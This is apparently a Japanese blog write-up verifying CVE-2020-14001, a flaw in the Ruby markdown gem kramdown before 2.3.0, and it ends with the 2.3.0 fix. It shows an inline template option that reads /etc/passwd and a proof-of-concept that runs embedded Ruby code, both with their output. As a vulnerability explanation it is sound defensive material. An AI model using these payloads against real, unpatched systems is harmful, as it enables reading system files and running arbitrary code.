CVE-2020-14001 kramdown rce
概要
バージョン2.3.0より前のkramdownでは、意図しないファイルの読み込みやRubyコードの実行が可能である。
kramdown
markdownからhtmlを生成してくれるgem、GitHub pages(jekyll)等でも使われている
動作
$ cat 2020-08-20-CVE-2020-14001.md
# CVE-2020-14001の検証
## 概要
バージョン2.3.0より前のkramdownでは、意図しないファイルの読み込みやRubyコードの実行が可能である。
## kramdown
markdownからhtmlを生成してくれるgem、GitHub pages(jekyll)等でも使われている
~~~ snip ~~~
$ kramdown 2020-08-20-CVE-2020-14001.md
<h1 id="cve-2020-14001">CVE-2020-14001の検証</h1>
<h2 id="section">概要</h2>
<p>バージョン2.3.0より前のkramdownでは、意図しないファイ ルの読み込みやRubyコードの実行が可能である。</p>
<h2 id="kramdown">kramdown</h2>
<p>markdownからhtmlを生成してくれるgem、GitHub pages(jekyll)等でも使われている</p>
~~~ snip ~~~
脆弱性
kramdownにはインラインでオプションを書ける機能がある。
$ cat option.md
{::options auto_ids="false"}
# A header without an ID
$ kramdown option.md
<h1>A header without an ID</h1>
2.3.0までのバージョンでは、インラインでのtemplete
オプションの指定がでデフォルトで可能だった。
名前の通りmarkdownのテンプレートを読み込む機能であったが、ここで任意のファイルが指定できる。
# cat template.md
{::options template="/etc/passwd"}
# kramdown template.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~~~ snip ~~~
さらに、同じようにtemplateオプションを利用してRubyコードの埋め込みが可能であった。
root@de896f6d3391:~# kramdown --version
2.2.1
root@de896f6d3391:~# cat poc.md
# CVE-2020-14001_PoC
{::options template="string://<%= puts 'Hacked!'%>" /}
root@de896f6d3391:~# kramdown poc.md
Hacked!
修正
2.3.0へのアップデートで、インラインでのtemplate
オプションは無効化された。
$ kramdown --version
2.3.0
$ kramdown option.md
<h1>A header without an ID</h1>
Warning: Option template may not be set inline
Warning: Option template may not be set inline
参考
https://nvd.nist.gov/vuln/detail/CVE-2020-14001
Comments